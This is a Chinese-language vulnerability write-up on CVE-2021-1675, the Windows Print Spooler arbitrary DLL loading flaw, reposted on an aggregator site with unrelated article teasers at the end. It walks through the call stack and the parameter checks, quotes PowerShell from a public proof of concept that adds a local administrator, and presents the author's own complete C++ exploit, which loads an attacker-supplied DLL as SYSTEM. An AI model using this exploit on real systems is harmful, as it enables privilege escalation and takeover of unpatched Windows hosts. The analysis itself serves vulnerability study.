【CVE-2021-1675】Spoolsv打印机服务任意DLL加载漏洞分析

漏洞详情

简介

打印机服务提供了添加打印机的接口,该接口缺乏安全性校验,导致攻击者可以伪造打印机信息,在添加新的打印机时实现加载恶意DLL。这造成的后果就是以system权限执行任意代码。

影响版本

windows_10 20h2
windows_10 21h1
windows_10 1607
windows_10 1809
windows_10 1909
windows_10 2004
windows_7 sp1
windows_8.1
windows_rt_8.1
windows_server_2008 sp2
windows_server_2008 r2 sp1 x64
windows_server_2012
windows_server_2012 r2
windows_server_2016
windows_server_2019

危害等级

8.8 ∣ H I G H \textcolor{BrickRed}{8.8\ |\ HIGH} 8.8  HIGH

漏洞复现

【环境】 W i n 10 1909 18363.592 x 64 \textcolor{green}{【环境】Win10\ 1909\ 18363.592\ x64} 【环境】Win10 1909 18363.592 x64

POC下载见参考

非管理员权限下,直接利用漏洞添加一个管理员账户

在这里插入图片描述

漏洞分析

加载任意模块调用栈

# Child-SP          RetAddr               Call Site
00 00000000`00d9c5d8 00007ff8`61a6a233     ntdll!NtMapViewOfSection+0x14
01 00000000`00d9c5e0 00007ff8`61a69f96     ntdll!LdrpMinimalMapModule+0x103
02 00000000`00d9c6a0 00007ff8`61a6d5b7     ntdll!LdrpMapDllWithSectionHandle+0x1a
03 00000000`00d9c6f0 00007ff8`61a6e608     ntdll!LdrpMapDllNtFileName+0x183
04 00000000`00d9c7f0 00007ff8`61a6e360     ntdll!LdrpMapDllFullPath+0xe0
05 00000000`00d9c980 00007ff8`61a62536     ntdll!LdrpProcessWork+0x74
06 00000000`00d9c9e0 00007ff8`61a622a8     ntdll!LdrpLoadDllInternal+0x13e
07 00000000`00d9ca60 00007ff8`61a61764     ntdll!LdrpLoadDll+0xa8
08 00000000`00d9cc10 00007ff8`5eb956d0     ntdll!LdrLoadDll+0xe4
09 00000000`00d9cd00 00007ff8`463777c1     KERNELBASE!LoadLibraryExW+0x170
0a 00000000`00d9cd70 00007ff8`46377395     winspool!Ordinal213+0x4d1
0b 00000000`00d9ce20 00007ff8`460f603f     winspool!Ordinal213+0xa5
0c 00000000`00d9ce70 00007ff8`460f52a5     PrintIsolationProxy!DllUnregisterServer+0x103f
0d 00000000`00d9cf20 00007ff8`462c2bc7     PrintIsolationProxy!DllUnregisterServer+0x2a5
0e 00000000`00d9cf90 00007ff8`462c0a1a     localspl!sandbox::SandboxObserver::GetDriverConfigModuleInterface+0x27
0f 00000000`00d9cfd0 00007ff8`46255864     localspl!sandbox::DriverConfigModuleAdapter::LoadConfigModule+0x8e
10 00000000`00d9d030 00007ff8`4624c3ee     localspl!NotifyDriver+0x134
11 00000000`00d9d0b0 00007ff8`46252a21     localspl!CompleteDriverUpgrade+0x342
12 00000000`00d9d3d0 00007ff8`462542d4     localspl!WaitRequiredForDriverUnload+0x441
13 00000000`00d9e360 00007ff8`462559cf     localspl!InternalAddPrinterDriverEx+0xc80
14 00000000`00d9e870 00007ff8`46255292     localspl!SplAddPrinterDriverEx+0xef
15 00000000`00d9e8d0 00007ff6`85544caf     localspl!LocalAddPrinterDriverEx+0xa2
16 00000000`00d9e920 00007ff6`8551fa6e     spoolsv!AddPrinterDriverExW+0x6f
17 00000000`00d9e960 00007ff6`8551c634     spoolsv!YAddPrinterDriverEx+0x2ce
18 00000000`00d9e9a0 00007ff8`60986983     spoolsv!RpcAddPrinterDriverEx+0x54
19 00000000`00d9e9d0 00007ff8`609ea036     RPCRT4!Invoke+0x73
1a 00000000`00d9ea30 00007ff8`60947a7c     RPCRT4!Ndr64StubWorker+0xb56
1b 00000000`00d9f0d0 00007ff8`609648f8     RPCRT4!NdrServerCallAll+0x3c
1c 00000000`00d9f120 00007ff8`6093c951     RPCRT4!DispatchToStubInCNoAvrf+0x18
1d 00000000`00d9f170 00007ff8`6093c20b     RPCRT4!RPC_INTERFACE::DispatchToStubWorker+0x2d1
1e 00000000`00d9f250 00007ff8`6092a86f     RPCRT4!RPC_INTERFACE::DispatchToStub+0xcb
1f 00000000`00d9f2b0 00007ff8`60929d1a     RPCRT4!LRPC_SCALL::DispatchRequest+0x31f
20 00000000`00d9f390 00007ff8`60929301     RPCRT4!LRPC_SCALL::HandleRequest+0x7fa
21 00000000`00d9f490 00007ff8`60928d6e     RPCRT4!LRPC_ADDRESS::HandleRequest+0x341
22 00000000`00d9f530 00007ff8`609269a5     RPCRT4!LRPC_ADDRESS::ProcessIO+0x89e
23 00000000`00d9f670 00007ff8`61a7346d     RPCRT4!LrpcIoComplete+0xc5
24 00000000`00d9f710 00007ff8`61a741c2     ntdll!TppAlpcpExecuteCallback+0x14d
25 00000000`00d9f760 00007ff8`61957bd4     ntdll!TppWorkerThread+0x462
26 00000000`00d9fb20 00007ff8`61aaced1     KERNEL32!BaseThreadInitThunk+0x14
27 00000000`00d9fb50 00000000`00000000     ntdll!RtlUserThreadStart+0x21

POC分析

POC主要做两件事:

  1. 枚举本地Windows x64环境下的所有打印机驱动

    if ( $winspool::EnumPrinterDrivers($null, "Windows x64", 2, $pAddr, $cbNeeded, [ref]$cbNeeded, [ref]$cReturned) ){$driver = [System.Runtime.InteropServices.Marshal]::PtrToStructure($pAddr, [System.Type]$DRIVER_INFO_2)} else {Write-Host "[!] failed to get current driver list"[System.Runtime.InteropServices.Marshal]::FreeHGlobal($pAddr)return}
    
  2. 添加打印机驱动

    $driver_info = New-Object $DRIVER_INFO_2$driver_info.cVersion = 3$driver_info.pConfigFile = $DLL$driver_info.pDataFile = $DLL$driver_info.pDriverPath = $driver.pDriverPath$driver_info.pEnvironment = "Windows x64"$driver_info.pName = $DriverName$pDriverInfo = [System.Runtime.InteropServices.Marshal]::AllocHGlobal([System.Runtime.InteropServices.Marshal]::SizeOf($driver_info))[System.Runtime.InteropServices.Marshal]::StructureToPtr($driver_info, $pDriverInfo, $false)if ( $winspool::AddPrinterDriverEx($null, 2, $pDriverInfo, $APD_COPY_ALL_FILES -bor 0x10 -bor 0x8000) ) {if ( $delete_me ) {Write-Host "[+] added user $NewUser as local administrator"} else {Write-Host "[+] driver appears to have been loaded!"}} else {Write-Error "[!] AddPrinterDriverEx failed"}
    

重点分析添加打印机驱动时参数的设置依据。可以看到攻击者是调用了 A d d P r i n t e r D r i v e r E x \textcolor{cornflowerblue}{AddPrinterDriverEx} AddPrinterDriverEx函数添加的打印机驱动,这个函数其实是打印机服务添加打印机驱动接口的一个存根。该函数原型说明如下:

BOOL AddPrinterDriverEx(_In_    LPTSTR pName,_In_    DWORD  Level,_Inout_ LPBYTE pDriverInfo,_In_    DWORD  dwFileCopyFlags
);
  • pName - 指向以 null 结尾的字符串的指针,该字符串指定应安装驱动程序的服务器的名称。 如果此参数为 NULL,则该函数将在本地计算机上安装驱动程序。

  • Level - pDriverInfo 指向的结构的版本。 此值可以是 2、3、4、6 或 8。

  • pDriverInfo - 根据Level的取值,该参数对应的结构有

    Level结构体
    2DRIVER_INFO_2
    3DRIVER_INFO_3
    4DRIVER_INFO_4
    6DRIVER_INFO_6
    8DRIVER_INFO_8

    2-6对应的结构体都是8对应的结构体的一部分,本次漏洞利用只需要2对应的那部分。

    typedef struct _DRIVER_INFO_2 {DWORD  cVersion;						// 为其编写驱动程序的操作系统版本。 支持的值为 3。LPTSTR pName;							// 指向以 null 结尾的字符串的指针,该字符串指定驱动程序的名称 (例如“QMS 810”)。LPTSTR pEnvironment;					// 指向以 null 结尾的字符串的指针,该字符串指定 (为其编写驱动程序的环境,例如 Windows x86、Windows IA64 和 Windows x64) 。LPTSTR pDriverPath;					// 指向以 null 结尾的字符串的指针,指定包含设备驱动程序 (的文件的文件名或完整路径和文件名,例如“c:\drivers\pscript.dll”) 。LPTSTR pDataFile;						// 指向以 null 结尾的字符串的指针,该字符串指定包含驱动程序数据的文件名或完整路径和文件名, (例如“c:\drivers\Qms810.ppd”) 。LPTSTR pConfigFile;					// 指向以 null 结尾的字符串的指针,该字符串指定设备驱动程序配置.dll (的文件名或完整路径和文件名,例如“c:\drivers\Pscrptui.dll”) 。
    } DRIVER_INFO_2, *PDRIVER_INFO_2;
    
  • dwFileCopyFlags - 含义如下:

    含义
    APD_COPY_ALL_FILES添加打印机驱动程序并复制 printer-driver 目录中的所有文件。 使用此选项忽略文件时间戳。
    APD_COPY_FROM_DIRECTORY使用 在 DRIVER_INFO_6 结构中指定的完全限定文件名添加打印机驱动程序。 此标志是 ORed 与其他复制标志之一。 如果设置了此标志,则如果DRIVER_INFO_6结构指定存在的文件不存在,则 AddPrinterDriverEx 将失败。 无需将文件复制到系统的打印机驱动程序目录。 请参阅备注。 Windows 2000: 不支持此标志。
    APD_COPY_NEW_FILES添加打印机驱动程序,并复制打印机驱动程序目录中比当前使用的任何相应文件更新的文件。 此标志模拟 AddPrinterDriver 的行为。
    APD_STRICT_DOWNGRADE仅当打印机驱动程序目录中的所有文件都早于当前使用的任何相应文件时,才添加打印机驱动程序。
    APD_STRICT_UPGRADE仅当打印机驱动程序目录中的所有文件都比当前使用的任何相应文件更新时,才添加打印机驱动程序。

从上面的调用栈中了解到该函数会发送RPC请求打印机服务对应的接口 R p c A d d P r i n t e r D r i v e r E x \textcolor{cornflowerblue}{RpcAddPrinterDriverEx} RpcAddPrinterDriverEx

要想成功添加打印机驱动,中间要通过两处关键检查。

  • S p l A d d P r i n t e r D r i v e r E x \textcolor{cornflowerblue}{SplAddPrinterDriverEx} SplAddPrinterDriverEx内部:

在这里插入图片描述

  • I n t e r n a l A d d P r i n t e r D r i v e r E x \textcolor{cornflowerblue}{InternalAddPrinterDriverEx} InternalAddPrinterDriverEx内部:

在这里插入图片描述

最终会加载位于DRIVER_INFO_2结构体中pConfigFile字段指向的模块。

漏洞利用

为了完成漏洞利用,首先枚举当前系统的打印机驱动,选取一个驱动路径填充到DRIVER_INFO_2pDriverPath字段中。然后参数dwFileCopyFlags0x8014即可绕过上面分析中的两处检查,最终到达漏洞点。

我的EXP代码:

#include <iostream>
#include <windows.h>void Exploit()
{const char* pName = "Hack";const char* pVenomDll = "Your venmo dll";const char* pEnvironment = "Windows x64";PDRIVER_INFO_2A pDrvInfo = NULL;DRIVER_INFO_2A drvInfo;PBYTE pBuffer = NULL;DWORD cbNeed = 0;DWORD nDrv;BOOL bRet;// 枚举本地所有Windows x64的打印机bRet = EnumPrinterDriversA(NULL,(LPSTR)pEnvironment,2,NULL,cbNeed,&cbNeed,&nDrv);pBuffer = new BYTE[cbNeed];if (pBuffer == NULL)goto cleanup;bRet = EnumPrinterDriversA(NULL,(LPSTR)pEnvironment,2,pBuffer,cbNeed,&cbNeed,&nDrv);if (!bRet)goto cleanup;pDrvInfo = (PDRIVER_INFO_2A)pBuffer;for (DWORD i = 0; i < nDrv; i++){printf("[+] DriverName: %s\n""    DriverPath: %s\n",pDrvInfo[i].pName,pDrvInfo[i].pDriverPath);}drvInfo.cVersion = 3;drvInfo.pDriverPath = pDrvInfo[0].pDriverPath;drvInfo.pConfigFile = (LPSTR)pVenomDll;drvInfo.pDataFile = (LPSTR)pVenomDll;drvInfo.pEnvironment = (LPSTR)pEnvironment;drvInfo.pName = (LPSTR)pName;bRet = AddPrinterDriverExA(NULL, 2,(PBYTE)&drvInfo, APD_COPY_ALL_FILES | APD_COPY_FROM_DIRECTORY | 0x8000);if (!bRet){printf("[-] ErrorCode: 0x%x\n", GetLastError());}cleanup:if (pBuffer)delete[] pBuffer;
}int main()
{Exploit();return 0;
}

参考

[1] https://github.com/calebstewart/CVE-2021-1675

[2] https://nvd.nist.gov/vuln/detail/CVE-2021-1675

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/215753.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

探索亚马逊云科技云存储服务的性能

文章作者&#xff1a;Libai 引言 随着企业越来越多地依赖云存储解决方案&#xff0c;确保存储性能的最佳状态变得至关重要。在本文中&#xff0c;我们将探讨在亚马逊云科技云存储服务上进行存储性能基准测试的重要性&#xff0c;以及如何帮助企业做出资源分配和优化的明智决策…

RK3588平台 USB框架与USB识别流程

一.USB的基本概念 在最初的标准里&#xff0c;USB接头有4条线&#xff1a;电源&#xff0c;D-,D,地线。我们暂且把这样的叫做标准的USB接头吧。后来OTG出现了&#xff0c;又增加了miniUSB接头。而miniUSB接头则有5条线&#xff0c;多了一条ID线,用来标识身份用的。 热插拔&am…

《C++ Primer》第10章 算法(一)

参考资料&#xff1a; 《C Primer》第5版《C Primer 习题集》第5版 10.1 概述&#xff08;P336&#xff09; 大多数算法定义在头文件 algorithm 中&#xff0c;头文件 numeric 中也定义了一组数值泛型算法。 一般情况下&#xff0c;算法不直接操作容器&#xff0c;而是通过…

分布式链路追踪实战篇-日志库集成opentelemetry的思路

由上文分布式链路追踪入门篇-基础原理与快速应用可以知道分布式链路追踪的作用&#xff0c;但是距离应用到项目中&#xff0c;我们还需要对项目中一些关键组件进行opentelemetry的集成&#xff0c;例如日志库&#xff0c;ORM、http框架、rpc框架等。 一、日志库如何集成opentel…

多功能智能灯杆主要功能有哪些?

多功能智能灯杆这个词相信大家都不陌生&#xff0c;最近几年多功能智能灯杆行业发展迅速&#xff0c;迅速取代了传统路灯&#xff0c;那么多功能智能灯杆相比传统照明路灯好在哪里呢&#xff0c;为什么大家都选择使用叁仟智慧多功能智能灯杆呢&#xff1f;所谓多功能智能灯杆着…

探究Kafka原理-2.Kafka基本命令实操

&#x1f44f;作者简介&#xff1a;大家好&#xff0c;我是爱吃芝士的土豆倪&#xff0c;24届校招生Java选手&#xff0c;很高兴认识大家&#x1f4d5;系列专栏&#xff1a;Spring源码、JUC源码、Kafka原理&#x1f525;如果感觉博主的文章还不错的话&#xff0c;请&#x1f44…

OSS+CDN的资费和安全

文章目录 花费OSSCDNOSS CDN 安全OSS防盗链跨域设置CORS数据加密 CDN防盗链URL鉴权Cookie鉴权远程鉴权IP黑白名单UA黑白名单 回源服务自定义私有参数IP黑白名单数据加密 花费 OSS 存储费用 &#xff1a;0.12元/GB/月下行流量费用 &#xff1a;0.5元/GB请求费用 &#xff1a;…

org.springframework.security.crypto.bcrypt.BCryptPasswordEncoder

密码&#xff0c;加密&#xff0c;解密 spring-security-crypto-5.7.3.jar /** Copyright 2002-2011 the original author or authors.** Licensed under the Apache License, Version 2.0 (the "License");* you may not use this file except in compliance with t…

Error querying database. Cause: java.lang.reflect.InaccessibleObjectException:

最近开发过程中&#xff0c;居然碰到了一个Arrays.asList的错&#xff0c;怎么个场景呢&#xff1f;传参一个用固定符号拼接的字符串&#xff0c;需要转成集合然后再myBatis里in判断。然后就报错了。 一、代码层面 service层面&#xff1a; shortDetailUrlList Arrays.asLi…

【经典小练习】修改文件中的数据

文章目录 &#x1f339;例子&#x1f33a;思路&#x1f6f8;方法一✨报错解决 &#x1f6f8;方法二 &#x1f339;例子 文本文件中有下面的数据 2-1-9-4-7-8 将文件中的数据进行排序&#xff0c;变成下面的数据 1-2-4-7-8-9 &#x1f33a;思路 要对这些数据进行排序&#xf…

日本运营商启动先进边缘云技术研发

摘要&#xff1a;日本运营商乐天移动最近启动了为 5G 之后的下一个通信标准开发边缘平台功能的研发工作。 乐天移动&#xff08;Rakuten Mobile&#xff09;表示&#xff0c;其面向下一代通信的先进边缘云技术研发&#xff08;R&D&#xff09;项目已被日本国家信息通信技术…

前端技术探秘-Nodejs的CommonJS规范实现原理 | 京东物流技术团队

了解Node.js Node.js是一个基于ChromeV8引擎的JavaScript运行环境&#xff0c;使用了一个事件驱动、非阻塞式I/O模型&#xff0c;让JavaScript 运行在服务端的开发平台&#xff0c;它让JavaScript成为与PHP、Python、Perl、Ruby等服务端语言平起平坐的脚本语言。Node中增添了很…